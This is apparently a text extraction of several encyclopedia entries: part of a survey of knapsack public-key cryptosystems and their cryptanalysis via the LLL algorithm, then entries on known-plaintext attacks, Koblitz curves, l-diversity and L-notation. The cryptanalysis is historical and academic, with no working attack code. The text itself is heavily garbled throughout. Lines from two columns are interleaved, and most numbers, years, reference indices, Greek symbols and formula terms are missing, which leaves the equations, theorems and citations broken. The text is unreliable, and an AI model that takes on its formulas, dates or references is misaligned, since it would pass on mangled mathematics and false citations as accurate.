turned out to be breakable by Brickells attack. Again the uses the discrete log problem [, ] (see also Section A
LLL algorithm is the driving part of the attack. First the Survey of the History of the Cryptographic Knapsack).
cryptanalyst picks out a subset of the sequence correspond- A study of possible attacks was done, but it turned out
ing with the public key. These elements are entered in a that by a good choice of parameters all attacks known
special way in the LLL algorithm. A reduced basis for that at that moment could be avoided. New attacks were set
lattice is obtained. Then one calculates the linear relation up by the authors [] but this did not change the above
between the old and new basis for the lattice. This last conclusion.
information will allow to decide if the selected subset was In , Brickell broke the Arazi knapsack system [].
good. If it was not, one restarts at the beginning. If it In , Cooper and Patterson [] also proposed some
was a good set, one can calculate the number of iterations new trapdoor knapsack algorithm, which can however be
that were used by the designer during the construction cryptanalyzed by Brickell []. The same attack of Brickell
of the public key. Some calculation of determinants will can break this knapsack as well as the Lagger knapsack [].
then return an almost superincreasing sequence. Proceed- Since , interest in public key knapsacks vanished
ing with almost superincreasing sequences was already almost completely. In , the ChorRivest scheme was
discussed by Karnin and Hellman [] (remarkable is the finally cryptanalyzed [].
contradiction in the conclusion of their paper and its use Additive knapsacks have been suggested as an encryp-
by Brickell!). tion scheme to remain secure after the construction of a
In October , Odlyzko found an effective method to powerful quantum computer []. The decryption is based
cryptanalyze the McAuleyGoodman and the Goodman on the concept of a multiplicative knapsack and requires a
McAuley schemes, using mainly gcds []. quantum computer.
Later on Brickell [] was able to break with a simi-
lar idea as in [] a lot of other knapsack schemes, e.g.,
the DesmedtVandewalleGovaerts, the Davio, the Wil- The Multiplicative Knapsack Scheme
lett, the Petit, and the GoodmanMcAuley. The attack and Its History
affects also the security of the so-called general knapsack The so-called multiplicative knapsack here uses exactly the
scheme. same encryption function as the MerkleHellman addi-
At Eurocrypt Di Porto [] presented two new tive knapsack scheme. However the trapdoor is com-
knapsack schemes, which are very close to the Goodman pletely different in nature, because it is mainly based on a
McAuley one. However they were broken during the same transformation from an additive knapsack problem into a
conference by Odlyzko. multiplicative one. It was presented by Merkle and Hellman
in their original paper [].
Let us first explain the construction of the public key.
The Case of Usual Knapsacks with Other One chooses n relative prime positive numbers (p , p , . . . ,
Encryption Functions pn ), some prime q, such that q has only small primes and
Arazi proposed in a new knapsack-based additive such that
n
knapsack algorithm to protect the privacy of the message q > pi ()
[]. Its main difference with the MerkleHellman encryp- i=
tion is that random noise is used in the encryption function. and some primitive root b modulo q. One then finds inte-
The parameters that are chosen during the construction of gers ai , where ai q , such that pi bai mod q.
the public key have to satisfy some properties (see []). So, ai is the discrete logarithm of pi base b modulo q. This
explains why q was chosen as the product of small The Existence of Innitely Many
primes, since the PohligHellman algorithm can calculate Decryption Keys
easily these discrete logarithms in that case []. Let us focus on the basic MerkleHellman scheme.
To decrypt one calculates S = bS mod q, because bS = Suppose w and m correspond with the reverse
x i a i
b = bxi ai = pxi i mod q. The last equality is a con- MerkleHellman transformation and that ai was the used
sequence of the condition in Eq. . One can easily find the superincreasing sequence. We will demonstrate that other
corresponding x starting from S , using the fact that the values allow to break (call these V, M, and ai ). In order
numbers pi are relative prime. This last point is important, to analyze for which V and M Eq. (see also Eq. )
because in the general case the subset product problem is holds, let us reformulate the MerkleHellman transforma-
NP-complete []. tion in terms of linear inequalities. ai ai V mod M and
This scheme can be cryptanalyzed by a low dense attack < ai < M can be reformulated into :
[, ]. However the disadvantage is that it requires a sep-
< ai = (ai V si M) < M, si integer ()
arate run of the lattice reduction algorithm (which takes at
least on the order of n operations) to attack each n bit mes- Remark that si is equal to (ai V)/M with the floor
sage. To overcome that problem, Odlyzko tried another function.
attack []. Herein he starts from the assumption that Using Eq. , the conditions in Eq. (see also
some of the pi are known. He then tries to find q and b. Eq. ) and the condition of superincreasing of a can be
He also assumes that b, q, and the ai consist of approx- expressed as linear inequalities on V/M:
imately m bits. His attack will take a polynomial time if
si V + si
m = O(n log n). Also in this attack the LLL algorithm is Eq. gives : < < ()
ai M ai
the driving force. A special choice [] of the lattice is used
to attack the system. Once the b and q are found, the crypt- n
+ si
analyst can as easily cryptanalyze ciphertexts as the receiver
can decrypt them. Eq. gives :
V
< n
i=
() K
M
ai
i=
The Trapdoor Knapsack Schemes to Protect
the condition requiring a be superincreasing gives for all
Signatures and Authenticity j, with j n :
To make a signature the sender applies the decryption func-
j
tion on the plaintext. From this point of view it is easy to
j
sj si
understand that the higher discussed knapsack schemes V i=
are not well suited for this purpose. Indeed if the decryption if aj < ai : < j
()
i= M
function is not enough (pseudo) invertible, the sender aj ai
has to perform other trials in order to generate a signa- i=
ture. Such a scheme was presented in the original Merkle j

Hellman paper []. Shamir suggested a more practical one j
sj si
[] in . V i=
if aj > ai : > j
()
In , Schbi and Massey proposed another version i= M
aj ai
of [] as a fast signature scheme. i=
In , Odlyzko broke [] the Shamirs fast sig- Observe that the condition in Eq. does not impose
nature and the SchbiMassey one. Here also the LLL an extra condition on the ratio V/M. Indeed, for any
algorithm plays an important role. V/M that satisfies the conditions in Eq. one can take
coprime V, M in order to satisfy Eq. .
Theorem For each encryption key (a , a , . . . , an )
Some Details constructed using Eq. from a superincreasing sequence
A small encyclopedia is required to discuss all schemes, (a , a , . . . , an ), there exist infinitely many superincreasing
weaknesses and attacks in details. Only three issues are dis- sequences satisfying the conditions in Eq. .
cussed in more depth, being: (a) why the MerkleHellman
transformation leads to the possibility of more than one Proof The conditions Eqs. , , and superincreasing refor-
decryption key to break, (b) the LLL algorithm, and (c) its mulated as Eqs. can be summarized as: L < M V
< U,
use in the low-density attack of Brickell. where L and U are rational numbers. Since there exists a
superincreasing decryption key, which satisfies Eqs. , changed several times, but will always remain a basis for L.
there exists an L and U such that L < U. So, infinitely many After every change the vi and ji are updated using Eqs.
(V, M) satisfy the bound conditions and the condition that and . A current subscript k is used during the algorithm.
gcd(V, M) = . LLL starts with k = . If k = n + it terminates. Suppose
now k n, then we first check that k k
/ if k > .
It is easy to generalizes Theorem to knapsack k
If this does not hold, let r be the integer nearest to k ,
sequences a obtained by multiple MerkleHellman trans-
and replace vk by vk rvk , (do not forget the update).
formations [, , , ].
Next we distinguish two cases. Suppose that k and

The LLL Algorithm vk + k
k
vk < (/) vk , then we interchange vk
First we define a lattice (in the geometrical sense of the and vk , (do not forget the update), afterward replace k by
word). k and restart. In the other case we want to achieve that

Definition Let (v , . . . , vn ) be a linearly independent jk for jk ()

set of real vectors in an n-dimensional real Euclidean space.
The set {u v ++un vn u , . . . , un Z} is called the lattice If the condition in Eq. does not hold, then let l be the
with basis (v , . . . , vn ). largest index < k with lk > /, let r be the nearest to lk ,
and replace bk by bk rbl , (do not forget the update); repeat
Theorem Let (v , . . . , vn ) be a basis of a lattice L and until the conditions Eq. hold, afterward replace k by
let v be the points
i
k + and restart. Remark that if the case k = appears,
v = zji v j
i
for ( i n) and ( j n) one replaces it by k = .
j
The Use of the LLL Algorithm in Brickells Low
where zji are integers, then the set (v , . . . , v ) is also a base
n
Dense Attack
for the same lattice L, if and only if det (zji ) = . An integer In Section A Survey of the History of the Cryptographic
matrix Z with det (zji ) = is called an unimodular matrix. Knapsack, we briefly discussed Brickells low dense attack.
We introduced the concept of SSMM and have given a
sketch of Brickells low dense attack. Remember also that
Proof See [].
if the density is not low enough (> / log n) it has to be
As a consequence of Theorem , det(v , . . . , vn ) is artificially lowered. We will only discuss the case where it
independent of a particular basis for the lattice. is indeed low enough. This last part is always used as the
For a lattice L there does not necessarily exist a set of main technique of the breaking algorithm.
n vectors that form an orthogonal basis for the lattice. The The breaking is based on Theorem . Here we first have
LenstraLenstraLovasz (LLL [, pp. ]) algorithm to define short enough vector.
finds in polynomial time a basis for a lattice L, which is
Definition A vector c in a lattice L is called short enough
nearly orthogonal with respect to a certain measure of non-
related to a if
orthogonality. The LLL algorithm does however not find in n

general the most orthogonal set of n independent vectors. ci < a ,
As a consequence of Theorem it finds short (probably not i=
the shortest) vectors. A basis is called reduced if it contains where c = and ci = ci /n for i n.
relatively short vectors.
Let us briefly describe LLL. Let v , v , . . . , vn belong to Theorem If all vectors in the reduced basis for the lat-
the n-dimensional real vector space. To initialize the algo- tice, with basis vectors ti defined in Eq. , are short enough
rithm an orthogonal real basis vi is calculated, together related to a , then we can find n independent SSMM for
with ji ( j < i n), such that a , . . . , an .
i t = ( na na na . . . nan )
i
vi = vi j vj () t = ( na ... )
j= t = ( na ... )
i t = ( ) ()
j = (vi , vj ) / (vj , vj ) , () na ...

where (, ) denotes the ordinary inner (scalar) product. In
the course of the algorithm the vectors v , v , . . . , vn will be tn = ( . . . na )
Proof Call the vectors of the reduced basis v , v , . . . , vn . . Brickell EF, Davis JA, Simmons GJ () A preliminary
j report on the cryptanalysis of the MerkleHellman knap-
We will first prove that a modular mapping by v mod a
sack cryptosystems. In: Advances in cryptology, proceedings
has the small sum property (see Section A Survey of the
Crypto , Santa Barbara, CA, August . Plenum, New York,
History of the Cryptographic Knapsack). Since v j is an pp
integral linear combination of the vectors in Eq. , there . Brickell EF, Lagarias JC, Odlyzko AM () Evaluation of
j j j j j
exist integers (y , . . . , yn ) such that v = y and vi = the Adleman attack on multiple iterated knapsack cryptosys-
j j j j j tems. In: Advances in cryptology, proceedings Crypto , Santa
yi na + y nai for i n. Since n divides vi , let ui = vi /n Barbara, CA, Aug . Plenum, New York, pp
j
for i n. This implies evidently that a y and . Cassels JWS () An introduction to the geometry of numbers.
j j
ui ai y for i n. As a consequence of the short Springer, Berlin
. Chor B, Rivest RL () A knapsack type public key cryptosys-
enough property we have indeed the small sum property.
tem based on arithmetic in finite fields. In: Advances in cryp-
The independence of the n vectors so obtained with tology, Proceedings Crypto , Santa Barbara, Aug .
SSMM is then easy to prove. Lecture notes in computer science, vol . Springer, Berlin,
pp
Arguments are given in [] that the condition in Theo- . Cooper RH, Patterson W () Eliminating data expansion in
rem are almost satisfied if the density is low enough. the ChorRivest algorithm. Presented at Eurocrypt , Linz,
Austria, April ,
. Davio M () Knapsack trapdoor functions: an introduction.
Conclusions In: Longo JP (ed) Proceedings of CISM summer school on:
The encryption in the MerkleHellman knapsack is based secure digital communications, CISM Udine, Italy, June
on NP-completeness, however, its trapdoor was not. In . Springer, pp
secure public key cryptosystems, the encryption process . Desmedt Y, Vandewalle J, Govaerts R () The use of knap-
sacks in cryptography public key systems (Critical analysis of
must be hard to invert but it must also be hard to find the
the security of knapsack public key algorithms). Presented at:
original trapdoor or another trapdoor. Non-public key use Groupe de Contact Recherche Operationelle du F. N. R. S.,
of knapsack was investigated, e.g., in [, ]. Mons, Belgium, Feb , appeared in Fonds National K
For further details on the research on public key knap- de la Rechereche Scientifique, Groupes de Contact, Sciences
sack before , consult []. Mathmatiques
. Desmedt YG, Vandewalle JP, Govaerts R () A critical analy-
sis of the security of knapsack public key algorithms. IEEE Trans
Recommended Reading Inform Theory IT-() July , pp , also presented at
. Adleman LM () On breaking the iterated MerkleHellman IEEE Intern Symp Inform Theory, Les Arcs, France, June ,
publickey cryptosystem. In: Advances in cryptology, proceed- Abstract of papers, pp
ings Crypto , Santa Barbara, CA, Aug , Plenum, . Desmedt Y, Vandewalle J, Govaerts R () A highly secure
New York, pp , more details appeared in On break- cryptographic algorithm for high speed transmission. In: Globe-
ing generalized knapsack public key cryptosystems TR, com , Miami, FL, November December . IEEE,
Computer Science Dept., University of Southern California, Los Piscataway, pp
Angeles, March . Desmedt Y, Vandewalle J, Govaerts R () Linear algebra
. Arazi B () A trapdoor multiple mapping. IEEE Trans Inform and extended mappings generalise public key cryptographic
Theory (): knapsack algorithms. Electron Lett ():
. Brickell EF () Solving low density knapsacks in polyno- . Desmedt Y () Analysis of the security and new algorithms
mial time. IEEE Intern Symp Inform Theory, St. Jovite, Quebec, for modern industrial cryptography. Doctoral Dissertation,
Canada, Sep , Abstract of papers, pp Katholieke Universiteit Leuven, Belgium, October
. Brickell EF () A new knapsack based cryptosystem. Pre- . Diffie W, Hellman ME () Exhaustive cryptanalysis of the
sented at Crypto , Santa Barbara, CA, Aug NBS data encryption standard. Computer ():
. Brickell EF () Solving low density knapsacks. In: Advances . Di Porto A () Public key cryptosystem based on a gener-
in cryptology, Proceedings Crypto , Santa Barbara, CA, alization of the knapsack problem. Presented at Eurocrypt ,
Aug . Plenum, New York, pp Linz, Austria, April
. Brickell EF () Breaking iterated knapsacks. Advances in . Eier R, Lagger H () Trapdoors in knapsack cryptosystems.
cryptology, Proceedings Crypto , Santa Barbara, Aug In: Beth T (ed) Cryptography. Proceedings of Burg Feuerstein
. Lecture notes in computer science, vol . Springer, . Lecture notes in computer science, vol . Springer,
Berlin, pp Berlin, pp
. Brickell EF () Attacks on generalized knapsack schemes. . Garey MR, Johnson DS () Computers and intractability: a
Presented at Eurocrypt , Linz, Austria, April guide to the theory of NP Completeness. W. H. Freeman and
. Brickell E, Odlyzko AM () Cryptanalysis: a survey of recent Company, San Francisco
results. Proc IEEE (): . Goodman RM, McAuley AJ () A new trapdoor knapsack
. Brickell EF, Odlyzko AM () Cryptanalysis: a survey of recent public key cryptosystem. Advances in cryptology, Proceedings
results. In: Simmons GJ (ed) Contemporary cryptology. IEEE of Eurocrypt , Paris, France, April . Lecture notes in
Press, New York, pp computer science, vol . Springer, Berlin, pp
K Known Plaintext Attack
. Hellman ME () A cryptanalytic timememory tradeoff. . Pohlig SC, Hellman ME () An improved algorithm for
IEEE Trans Inform Theory IT(): computing logarithms over GF(p) and its cryptographic signif-
. Henry PS () Fast decryption algorithm for the knapsack icance. IEEE Trans Inform Theory ():
cryptographic system. Bell Syst Tech J (): . SchaumullerBichl I () On the design and analysis of new
. Karnin ED, Hellman ME () The largest Superincreasing cipher systems related to the DES. In: IEEE international sym-
subset of a random set. IEEE Trans Inform Theory IT-() posium on information theory, Les Arcs, France, pp
, January , also presented at IEEE international sympo- . Schbi P, Massey JL () Fast authentication in a trapdoor
sium information theory, Les Arcs, France, June , Abstract knapsack public key cryptosystem. Cryptography, Proceedings
of papers, pp Burg Feuerstein , Lecture notes in computer science, vol .
. Karnin ED () A parallel algorithm for the knapsack prob- Springer, Berlin, pp , see also Proceedings of interna-
lem. IEEE Trans Comput C-():, also presented at tional symposium on information theory, Les Arcs, June ,
IEEE international symposium information theory, St. Jovite, pp
Quebec, Canada, Sep , Abstract of papers, pp . Shamir A () A fast signature scheme. Internal Report, MIT,
. Lagarias JC () Knapsack public key cryptosystems and dio- Laboratory for Computer Science Report RM, Cambridge,
phantine approximation. Advances in cryptology, Proceedings MA
crypto , Santa Barbara, CA, Aug . Plenum, New . Shamir A () On the cryptocomplexity of knapsack systems.
York, pp Proceedings of Stoc . ACM, New York, pp
. Lagarias JC () Performance analysis of Shamirs attack on . Shamir A () A polynomial time algorithm for breaking the
the basic MerkleHellman knapsack cryptosystem. Proceed- basic MerkleHellman cryptosystem. Advances in cryptology,
ings of th international colloquium on automata, languages Proceedings Crypto , Santa Barbara, CA, Aug .
and programming (ICALP), Antwerp, Belgium, July . Plenum, New York, pp
Lecture notes in computer science, vol . Springer Verlag, . Shamir A () The strongest knapsack-based cryptosystem.
Berlin Presented at CRYPTO, Santa Barbara, CA, Aug
. Lagarias JC, Odlyzko AM () Solving low density subset . Shamir A () A polynomial time algorithm for breaking
sumproblems. In: Proceedings of th annual IEEE symposium the basic MerkleHellman cryptosystem. IEEE Trans Inform
on foundations of computer science. IEEE, New York, pp Theory IT():
. Lagger H Public key algorithm based on knapsack systems (in . Shamir A, Zippel R () On the security of the Merkle
German). Dissertation, Technical University Vienna, Austria Hellman cryptographic scheme. IEEE Trans Inform Theory
. Lenstra HW Jr () Integer programming with a fixed number ():
of variables. University of Amsterdam, Dept. of Mathematics, . Vaudenay S () Cryptanalysis of the chor-rivest cryptosys-
Technical Report, , April tem. In: Krawczyk H (ed) Advances in cryptology Crypto ,
. Lenstra AK, Lenstra HW Jr, Lovasz L () Factoring poly- proceedings, Santa Barbara, CA, Aug . Lecture notes
nomials with rational coefficients. Mathematische Annalen in computer science, vol . Springer, Berlin, pp
: . Willett M () Trapdoor knapsacks without superincreasing
. Lenstra HW Jr () Integer programming with a fixed number structure. Inform Process Lett :
of variables. Math Oper Res ():
. McAuley AJ, Goodman RM () Modifications to the
trapdoorknapsack public key cryptosystem. IEEE interna-
tional symposium information theory, St. Jovite, Quebec,
Canada, Sep , Abstract of papers, p Known Plaintext Attack
. Merkle RC, Hellman ME () Hiding information and sig-
natures in trapdoor knapsacks. IEEE Trans Inform Theory Alex Biryukov
():
. Odlyzko AM () Cryptanalytic attacks on the multiplicative
knapsack cryptosystem and on Shamirs fast signature system. Luxembourg
IEEE Trans Inform Theory IT-():, also presented at
IEEE International Symposium Information Theory, St. Jovite,
Quebec, Canada, Sept , Abstract of papers, p Related Concepts
. Odlyzko AM () Discrete logarithms in finite fields and their Block Ciphers; MAC Algorithms; Stream Cipher;
cryptographic significance. Advances in cryptology, proceed- Symmetric Cryptosystem
ings of Eurocrypt , Paris, France, April . Lecture
. Odlyzko AM personal communication
Denition
. Okamoto T, Tanaka K, Uchiyama S () Quantum public- Known plaintext attack is a scenario in which the attacker
key cryptosystems. In: Bellare M (ed) Advances in cryptology has access to pairs (Pi , Ci ), i = , . . . , N of known plain-
CRYPTO , proceedings. Lecture notes in computer science, texts and their corresponding ciphertexts. This attack is
considered to be highly practical, especially if the amount
. Petit M Etude mathmatique de certains systmes de chiffre-
ment: les sacs dos. (Mathematical study of some enciphering
of pairs N is not too large. This attack scenario is more
systems: the knapsack, in French), Doctors thesis, Universit practical than the chosen plaintext attack. Probable word
de Rennes, France method which is a popular technique for solving classical
Koblitz Elliptic Curves K
simple substitution or transposition ciphers is an exam- point multiplication. The incentive is the low cost of squar-
ple of a known-plaintext attack. Another example is the ing in binary fields compared with general multiplica-
cryptanalysis of the German Enigma cipher (crypto tion. A point multiplication kP, where k is an integer and
machines or []) using the so-called bombs. It relied P Ea (Fm ), can be written kP = l i
i= ui P, where l is
heavily on properly guessed opening words of the cryp- approximately m and ui {, }. Algorithms based on
tograms (which were at the time called cribs). One of the double-and-add are replaced by -and-add methods;
most popular cribs was Nothing to report. In modern i.e., expensive point doubling is replaced by an application
cryptography, linear cryptanalysis is a typical example of of .
a known plaintext attack. For cryptographic applications, it is desirable to choose
m so that #Ea (Fm ) = hn with n prime and the cofac-
Recommended Reading tor h relatively small. The NIST recommended elliptic
. Deavours CA Kruh L () Machine cryptography and modern curves include five Koblitz curves identified in Table ,
cryptanalysis. Artech House, Boston, MA all with cofactor or . Such curves are relatively rare
only exist for m [, ]. The entry on elliptic
curves notes that the group order is easily calculated for
curves defined over subfields. Applied to Koblitz curves,
Koblitz Elliptic Curves #Ea (Fm ) = m + Vm , where Vi is obtained recursively
as Vi = V Vi Vi with V = and V = if a =
Darrel Hankerson , Alfred Menezes and V = if a = .
Department of Mathematics, Auburn University, Point-halving methods share strategy with Koblitz
Auburn, AL, USA curves in the sense that point doubling is replaced by a less
Department of Combinatorics and Optimization, expensive operation. Halving applies to more curves; how-
ever, the acceleration is more dramatic in Koblitz curves.
University of Waterloo, Waterloo, Ontario, Canada
Estimates for point operations for curves over binary fields
K
typically ignore the cost of field squarings, making an
Synonyms application of essentially free, while a halving is esti-
Anomalous binary curves mated as comparable in cost to two field multiplications.
The overall savings is throttled by the number of point
additions.
Related Concepts For the NIST curves over binary fields, the estimates
Elliptic Curve Cryptography; Elliptic Curves
described in the entry on point halving using window-
ing methods (to reduce the number of point additions)
Denition with four points of precomputation give rough cost for
Koblitz curves are elliptic curves defined over F . kP as ( + /)M, ( + /)M, and (/)M per bit of
Background
Koblitz curves, also known as anomalous binary curves, Koblitz Elliptic Curves. Table Koblitz curves
were proposed by Koblitz [] for cryptographic use. Com- Ea : y + xy = x + ax + with almost-prime group order
pared to random binary curves, significantly faster point #Ea (Fm ) and m [, ]. Entries marked identify the
multiplication methods are available. NIST-recommended curves
m Curve Cofactor m Curve Cofactor
Applications E E
Elliptic curves Ea : y + xy = x + ax + defined E E
over F (with a {, }), known as Koblitz curves, permit E E
computationally attractive point multiplication algorithms E E
that replace point doubling by inexpensive field-squaring E E
operations. The basic strategy is outlined here; see [] for E E
details. E E
Let m > be an integer. Given a point (x, y) Ea (Fm ), E E
the Frobenius map : (x, y) (x , y ) gives another E E
E E
point in Ea (Fm ), and this mapping can be exploited in
K Koblitz Elliptic Curves
k, for methods based on double-and-add, halve-and-add, Recommended Reading

and -and-add, respectively, where M denotes the cost of a . Hankerson D, Menezes A, Vanstone S () Guide to elliptic
field multiplication. As an example of experimental results curve cryptography, Springer, New York
. Koblitz N () CM-curves with good cryptographic proper-
on workstation-class systems, Hankerson et al. [] give tim-
ties. In Advances in CryptologyCRYPTO , Lecture Notes
ings on an Intel Pentium III for point multiplication on in Computer Science, vol . Springer, New York pp .
the NIST random and Koblitz curves where m = . . Solinas J () Efficient arithmetic on Koblitz curves. Design
Compared to methods based on double-and-add for the Codes Cryptogr :
random curve, methods exploiting point halving were %
faster, and point multiplication on the Koblitz curve was
% faster.
L
and Sweeney proposed k-anonymity []. A table
-Diversity satisfies k-anonymity if every record in the table is indis-
tinguishable from at least k other records for the values
Johannes Gehrke , Daniel Kifer , of the quasi-identifier attributes; such a table is called a k-
Ashwin Machanavajjhala anonymous table. For every combination of values of the
Department of Computer Science, Cornell University, quasi-identifiers in the k-anonymous table, there are at
Ithaca, NY, USA least k records that share those values. This ensures that
Department of Computer Science and Engineering, individuals cannot be uniquely matched to an individual
Penn State University, University Park, PA, USA record in the published microdata by linking attacks.
Yahoo! Research, Santa Clara, CA, USA Figure shows a -anonymous table derived from the
table in Fig. (here * denotes a suppressed value so, for
Related Concepts example, zip code = * means that the zip code is in
DeFinetti Attack; k-Anonymity; Statistical Disclosure the range [ ] and age=* means the age is in
Limitation the range [ ]). Note that in the -anonymous table,
each tuple has the same values for the quasi-identifier as at
Denition least three other tuples in the table.
-diversity is a method for publishing data about individ- K-anonymity was designed to protect against associ-
uals while limiting the amount of sensitive information ating respondents identities with released tuples without
disclosed about them. specifically addressing the association of sensitive infor-
mation. First, when there is no diversity in the values
Background of the sensitive attributes, an attacker can easily discover
Many organizations are increasingly publishing the sensitive value of an individual through a homogene-
microdata tables that contain information about individ- ity attack. For example, an attacker who knows that her
uals that is not aggregated in any way. Examples include -year-old neighbors record is in Fig. and who knows
medical, voter registration, census, and customer data. that the neighbor lives in zip code can conclude
Microdata is a valuable source of information for subse- from the table that the neighbor has cancer. Second,
quent data analysis medical research, the allocation of attackers have background knowledge, and k-anonymity
public funds, or trend analysis, just to name a few. How- does not limit disclosure against such background knowl-
ever, if individuals can be uniquely identified in the micro- edge attackers. For example, an attacker who knows that
data, then their private information is disclosed, and this is her -year-old Japanese friend lives in zip code
unacceptable. can, with near certainty, conclude that the friend has a
There is a long history of research on limiting dis- viral infection since it is well known that Japanese have a
closure in data publishing, starting with work by Stanley very low rate of heart disease. -Diversity was developed to
Warner on randomized response []. Much progress has address these two issues [].
been made over the following decades, but the area is still
full of new developments; these two surveys show some of Theory
the recent progress and excitement in this area [, ]. Let T = {t , t , . . . , tn } be a table with tuples that form a
Consider the database of patients data shown in Fig. . subset of some larger population . Without loss of gener-
There is a set of attributes (like {Zip Code, Age, Nation- ality, we may combine all of the quasi-identifier attributes
ality, gender, and date of birth} in the example) that can into one single attribute. Thus in this discussion, each
be linked with external data to uniquely identify individ- tuple has two attributes: a quasi-identifier and a sensitive
uals in the population; these are called quasi-identifiers. attribute. The value of the quasi-identifier can often be
To counter linking attacks using quasi-identifiers, Samarati linked with external data to uniquely associate tuples with
L -Diversity
Nonsensitive Sensitive It is not possible for a data publisher to guard

Zip code Age Nationality Condition against attacks employing arbitrary amounts of back-
1 13053 28 Russian Heart disease ground knowledge []. The goal of microdata publishing
2 13068 29 American Heart disease is to allow a data publisher to guard against many reason-
3 13068 21 Japanese Viral infection able attacks without having access to the attackers back-
4 13053 23 American Viral infection ground knowledge. It seems that background knowledge
5 14853 50 Indian Cancer such as men do not have breast cancer or Japanese have
6 14853 55 Russian Heart disease a very low incidence of heart disease is very powerful as it
7 14850 47 American Viral infection enables the adversary to eliminate sensitive values from a
8 14850 49 American Viral infection given data-block in the generalized table.
9 13053 31 American Cancer However, if there are well represented sensitive
10 13053 37 Indian Cancer values in a q -block (i.e., the set of tuples whose quasi-
11 13068 36 Japanese Cancer identifier has been generalized to q ), then the attacker
12 13068 35 American Cancer needs damaging pieces of background knowledge to
eliminate possible sensitive values and infer a posi-
-Diversity. Fig. Patient microdata tive disclosure. Thus, by setting the parameter , the data
publisher can determine how much protection is provided
Nonsensitive Sensitive against background knowledge even if this background
Zip Code Age Nationality Condition knowledge is unknown to the publisher.
1 130 < 30 Heart disease This intuition can be made formal through the
2 130 < 30 Heart disease -diversity principle as follows.
3 130 < 30 Viral infection
Principle (-Diversity Principle []) Let q be a value of
4 130 < 30 Viral infection
the attribute Q in the base table T; let q be the generalized
5 1485 40 Cancer
value of q in the published table T . A q -block is -diverse if
6 1485 40 Heart disease
*it* contains at least well-represented values for the sen-
7 1485 40 Viral infection
sitive attribute S. A table is -diverse if every q -block (for
all q that appear in T ) is -diverse.
9 130 3 Cancer
10 130 3 Cancer There are two instantiations of the -diversity principle
11 130 3 Cancer that both result in diversity in the sensitive attribute.
12 130 3 Cancer
Definition (Entropy -Diversity) A table is Entropy
-Diversity. Fig. -anonymous patient microdata -Diverse if for every q -block
p(q ,s) log(p(q ,s ) ) log()

sS
individuals in the population . The value of the sensi- n(q ,s)
tive attribute contains information about the individual where p(q ,s) = is the fraction of tuples in the
n(q ,s )
only known to the data publisher. The goal of privacy- s S
preserving data publishing is to publish as much statistical q -block with sensitive attribute value equal to s.
information about T as possible while limiting the amount
Definition (Recursive (c, )-Diversity) In a given q -
of disclosure about the association of the sensitive attribute
block, let ri denote the number of times the ith most frequent
with individuals.
sensitive value appears in that q -block. Given a constant c,
In -diversity, a generalization T of T is published and
the q -block satisfies recursive (c, )-diversity if r < c(r +
is defined as follows. A domain D = {P , P , . . . } is a gen-
r+ + + rm ). A table T satisfies recursive (c, )-diversity
eralization (partition) of a domain D if Pi = D and Pi
if every q -block satisfies recursive -diversity; -diversity is
Pj = for i j. For q D, let D (q) denote the element
always satisfied.
P D that contains q. Given a table T = {t , . . . , tn } with
a quasi-identifier Q and a generalization DN of the domain -Diversity has several advantages. It does not require
D of Q, a table T = {t , . . . , tn } can now be constructed the data publisher to have as much information as the
by replacing qi , the value of the quasi-identifier of ti , with adversary. The parameter protects against more knowl-
its generalized value D (qi ). edgeable adversaries; the larger the value of , the more
L Notation L
Nonsensitive Sensitive . Kifer D () Attacks on privacy and definettis theorem. In:

Zip Code Age Nationality Condition SIGMOD. ACM, New York, pp
1 1305 40 Heart disease . Machanavajjhala A, Kifer D, Gehrke J, Venkitasubramaniam M
() L-diversity: privacy beyond k-anonymity. TKDD, ()
. Samarati P () Protecting respondents identities in microdata
9 1305 40 Cancer release. TKDE, ():
10 1305 40 Cancer . Samarati P, Sweeney L () Generalizing data to provide
5 1485 > 40 Cancer anonymity when disclosing information. In: PODS. ACM, New
6 1485 > 40 Heart disease York, p
7 1485 > 40 Viral infection . Sweeney L () Achieving k-anonymity privacy protection
using generalization and suppression. International Journal on
8 1485 > 40 Viral infection
Uncertainty, Fuzziness and Knowledge-based Systems ():
2 1306 40 Heart disease
3 1306 40 Viral infection . Warner SL () Randomized response: a survey technique for
11 1306 40 Cancer eliminating evasive answer bias. J Amer Stat Assoc ():
12 1306 40 Cancer
-Diversity. Fig. -Diverse inpatient microdata
L Notation
information is needed to rule out possible values of the
Arjen K. Lenstra
sensitive attribute. Instance-level knowledge (such as my
Laboratory for cryptologic algorithms - LACAL, School
neighbor does not have diabetes) is also automatically
of Computer and Communication Sciences, cole
covered. It is treated as just another way of ruling out pos-
Polytechnique Fdrale de Lausanne, Switzerland
sible values of the sensitive attribute. Different adversaries
can have different background knowledge leading to differ-
ent inferences. -Diversity simultaneously protects against
Related Concepts
all of them without the need for checking which inferences
Exponential Time; O-Notation; Polynomial Time;
L
can be made with which levels of background knowledge
Subexponential Time
(Fig. ).
Open Problems Denition

Daniel Kifer has recently shown that a statistical model For t, R with t , the notation Lx [t, ] is used for
more sophisticated than the one used by -diversity can any function of x that equals
be used to improve estimates of the probability of a tuple t t
being associated with a sensitive value. This model takes e(+o())(log x) (log log x) , for x ,
advantage of information that q groups provide about
where logarithms are natural and where o() denotes any
each other []. Thus the exact level of protection that
function of x that goes to as x (O notation).
-diversity provides in general is an open problem.
It is also known that the largest value that entropy can
take depends on the size of the domain (of the sensitive Theory
attribute). Thus when the domain is large, it may be nec- This function has the following properties:
essary to use thresholds larger than log() when applying Lx [t, ] + Lx [t, ] = Lx [t, max(, )]
Entropy -diversity. Lx [t, ] Lx [t, ] = Lx [t, + ]
Lx [t, ] Lx [s, ] = Lx [t, ] if t > s
Recommended Reading For any fixed k:
. Chen B-C, Kifer D, LeFevre K, Machanavajjhala A () Lx [t, ]k = Lx [t, k]
Privacy-preserving data publishing. Found Trend Databases
If > then (log x)k Lx [t, ] = Lx [t, ]
():
. Dwork C () Differential privacy. In: rd international col-
(Lx [t, ]) = Lx [t, ] where (y) is the number of
loquium on automata, languages and programming (ICALP). primes y
. Fung BCM, Wang K, Chen R, Yu PS () Privacy-preserving
When used to indicate runtimes and for fixed, Lx [t, ]
data publishing: a survey of recent developments. ACM Comput for t ranging from to ranges from polynomial time to
Surv (): exponential time in log(x):
L Lamport One-Time Signatures
Runtime study goes back to that of quadratic forms: Gauss []

(+o()) log log x +o() made a connection between quadratic forms and lattices,
Lx [, ] = e = (log x)
which was further developed by Dirichlet [] and espe-
is polynomial in log(x). cially Minkowski []. Lattice theory is usually called geom-
Runtimes Lx [t, ] with < t < are examples of etry of numbers [, , ], a name due to Minkowski [].
runtimes that are subexponential time in log(x), i.e.,
